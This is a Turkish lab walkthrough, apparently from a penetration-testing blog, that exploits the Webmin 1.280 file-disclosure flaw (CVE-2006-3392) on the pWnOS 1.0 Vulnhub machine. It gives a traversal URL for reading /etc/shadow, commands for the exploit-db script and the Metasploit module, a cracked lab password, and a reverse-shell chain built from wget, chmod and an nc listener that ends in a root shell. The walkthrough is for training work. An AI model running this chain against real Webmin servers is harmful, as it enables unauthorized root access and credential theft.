Webmin 1.280 Üzerindeki Dosya İfşası Zafiyetinin İstismarı

0
665
views
Sızma testleri sırasında keşfedilen web sunucusunun çeşitli zafiyetleri bulunabilir. Bu yazıda pWnOS: 1.0 sanal makinesindeki Webmin web sunucusundaki zafiyet istismar edilerek “root” yetkisi ile dosya okunabilecek ve komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan pWnOS: 1.0 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/pwnos-10,33/

 

Not: pWnOS: 1.0 sanal makinesi ilk açıldığında VMware tarafından tavsiye edilen “I Copied It” değil, “I Moved It” seçeneği işaretlenmelidir. Aksi halde DHCP üzerinden IP alınamayacaktır.

 

pWnOS: 1.0 sanal makinenin TCP 80 portunda Apache 2.2.4, TCP 10000 portunda ise MiniServ 0.0.1 hizmet vermektedir.

nmap -Pn -n –open 10.100.50.173 -p 80,10000 -sV -sC

 

TCP 10000 portuna web tarayıcı ile giriş yapıldığında, Webmin arayüzüne giriş için kimlik bilgisi istenen bir ekran ile karşılaşılmaktadır.

 

Webmin, UNIX/Linux sistemleri yönetmek için hazırlanan web tabanlı açık kaynaklı bir araçtır. Webmin ile kullanıcılar, diskler, servisler (Apache, DNS, Mysql,…), paylaşımlar vb. yönetilebilir. Bu işlemleri gerçekleştirmek için yetkili kullanıcı (“root” gibi) hakları gerektiği için varsayılan durumda Webmin hizmeti “root” kullanıcısı yetkisi ile çalışır. Webmin, varsayılan olarak TCP 10000 portundan çalışarak emirleri alır, Perl ile yazılmış modüller ile de gerekli işlemleri gerçekleştirir. HTTP yerine HTTPS üzerinden hizmet verdiği durumlarda da varsayılan olarak OpenSSL kütüphanesi kullanılır.

 

1) Exploit-DB Kodu ile Dosya Okuma

Kullanılan sanal makinede “Webmin Version 1.280” yüklüdür. Bu Webmin sürümünde bir takım zafiyetler bulunmaktadır.

searchsploit Webmin 1.2

 

CVE-2006-3392 ID’li bir zafiyet ile Webmin uygulamasını çalıştıran kullanıcı (varsayılan olarak “root”) yetkisi ile konumu bilenen dosyalar kimlik doğrulamasına gerek kalmadan okunabilmektedir. İstismar işlemi için “Webmin < 1.290 / Usermin < 1.220 – Arbitrary File Disclosure (Perl)” isimli istismar kodu kullanılabilir.

https://www.exploit-db.com/exploits/2017/

 

Kali üzerinde de olan bu betik kullanılarak zafiyet sömürülebilir ve bir dosya (MiniServ yapılandırma dosyasının) içeriği “root” yetkisi ile okunabilir.

cp /usr/share/exploitdb/platforms/multiple/remote/2017.pl .
perl 2017.pl
perl 2017.pl 10.100.50.173 10000 /etc/webmin/miniserv.users 0

 

2) URL Üzerinden Dosya Okuma

İstismar işlemi için betik yerine web tarayıcısı da kullanılabilir. 2017.pl dosyası incelendiğinde aşağıdaki iki satır dikkat çekmektedir.


$temp=”/..%01″ x 40;

my $url= “http://”. $target. “:” . $port .”/unauthenticated/”.$temp . $filename;

 

Bu satırlara göre “/unauthenticated/” ifadesinden sonra gelen “/..%01” ifadeleri ile üst dizine geçilmekte ve kimlik doğrulaması olmadan istenilen dosya okunabilmektedir.

http://10.100.50.173:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow

 

 

3) MSF file_disclosure Kodu Auxiliary Modülü ile Dosya Okuma

Zafiyetin İstismarı için MSF file_disclosure auxiliary modülü de kullanılabilir.

search webmin
use auxiliary/admin/webmin/file_disclosure
show options

 

Böylece “root” yetkisi ile tam yeri bilinen dosyalar okunabilir.

set RHOSTS 10.100.50.173
set RPATH /etc/sudoers
run

 

 

4) Komut Satırı Erişimi Elde Etme

Disk üzerindeki dosyaları okuma yetkisine sahip olunduktan sonra çeşitli yöntemler ile komut satırı erişimi elde edilebilir. Bu yöntemlerden bazıları aşağıdaki gibidir:

  • /etc/shadow” dosyası okunarak kaba kuvvet saldırısı ile bir kullanıcının parolası elde edilebilir. Sözlük saldırısı ile aşağıdaki bilgiler ile erişim sağlanabildiği görülmüştür.

Kullanıcı Adı: vmware
Parola: h4ckm3

  • R* servislerine, VNC servisine ait bilgiler okunabilir.
  • Kullanıcıların ev dizinlerinde bulunan SSH servisine ait genel anahtarlar (~/.ssh/authorized_keys) elde edildikten sonra, kaynaklardaki SiberPortal yazısında belirtildiği gibi özel anahtarlar tespit edilebilir.
  • Tam konumu bilinen yapılandırma dosyaları içersinden kritik bilgiler elde edilebilir.

Standart yetkilere sahip “vmware” kullanıcısı ile oturum açıkdıltan sonra, ters bağlantı elde edilebilir. Bu amaçla Kali üzerindeki Perl betiğindeki (perl-reverse-shell.pl) IP ve Port bilgisi değiştirilerek kurban makineye indirilebilir. İndirilen bu betik Webmin tarafından çalıştırılması istendiği için “.cgi” uzantısı ile çalıştırılabilir olarak kaydedilir.

cp /usr/share/webshells/perl/perl-reverse-shell.pl .
nano perl-reverse-shell.pl
cat perl-reverse-shell.pl | grep -i “change these” -A3
python -m SimpleHTTPServer 11111

wget http://10.100.50.174:11111/perl-reverse-shell.pl -O TersBaglanti.cgi
ls -la TersBaglanti.cgi
chmod +x TersBaglanti.cgi
ls -la TersBaglanti.cgi

 

İndirilen bu dosya, Webmin uygulamasını çalıştıran kullanıcı yetkisi ile çağırıldığında “root” yetkisi ile komut satırı erişimi elde edilebilecektir. Bu amaçla komut satırını yakalayacak olan dinleyici başlatılır.

nc -nlvp 8443

 

Webmin dosya ifşa zafiyeti istismarı ile “root” yetkisi ile komut satırı erişimi elde edilir.

perl 2017.pl 10.100.50.173 10000 /home/vmware/TersBaglanti.cgi 0

id
uname -a
cat /etc/*release*

 

 

5) Webmin Uygulamasının İncelenmesi

/etc/webmin/miniserv.conf” yaplandırma dosyasının içeriğinde kimlik doğrulama başta olmak üzere birçok bilgi bulunmaktadır.

ps -ef | grep webmin | grep -v grep
cat /etc/webmin/miniserv.conf

 

Bu bilgilerden en önemlileri aşağıdaki gibidir.

port=10000
root=/usr/local/webmin
userfile=/etc/webmin/miniserv.users
keyfile=/etc/webmin/miniserv.pem
passwd_file=/etc/shadow

 

/etc/webmin/miniserv.users” dosyasının içeriği incelendiğinde “admin” için kimlik bilgisi bulunmaktadır. Bu kimlik bilgisi sıfırlanarak Webmin arayüzünde oturum açılabilir.

cat /etc/webmin/miniserv.users
/usr/local/webmin/changepass.pl /etc/webmin admin Parola123
cat /etc/webmin/miniserv.users

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • VulnOS: 1: https://www.vulnhub.com/entry/vulnos-1,60/
    • Port: 10000

 

 

Kaynaklar:

https://github.com/ch33z-plz/Walkthrough/wiki/pWnOS
https://samiux.blogspot.com.tr/2011/09/howto-pwnos.html
https://naveen194.blogspot.com.tr/2016/10/vulnos-solution.html
http://paulsec.github.io/blog/2014/04/08/vulnos-write-up/
https://www.siberportal.org/red-team/linux-penetration-tests/acquiring-command-line-on-metasploitable-2-by-exploiting-openssl-vulnerability/

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.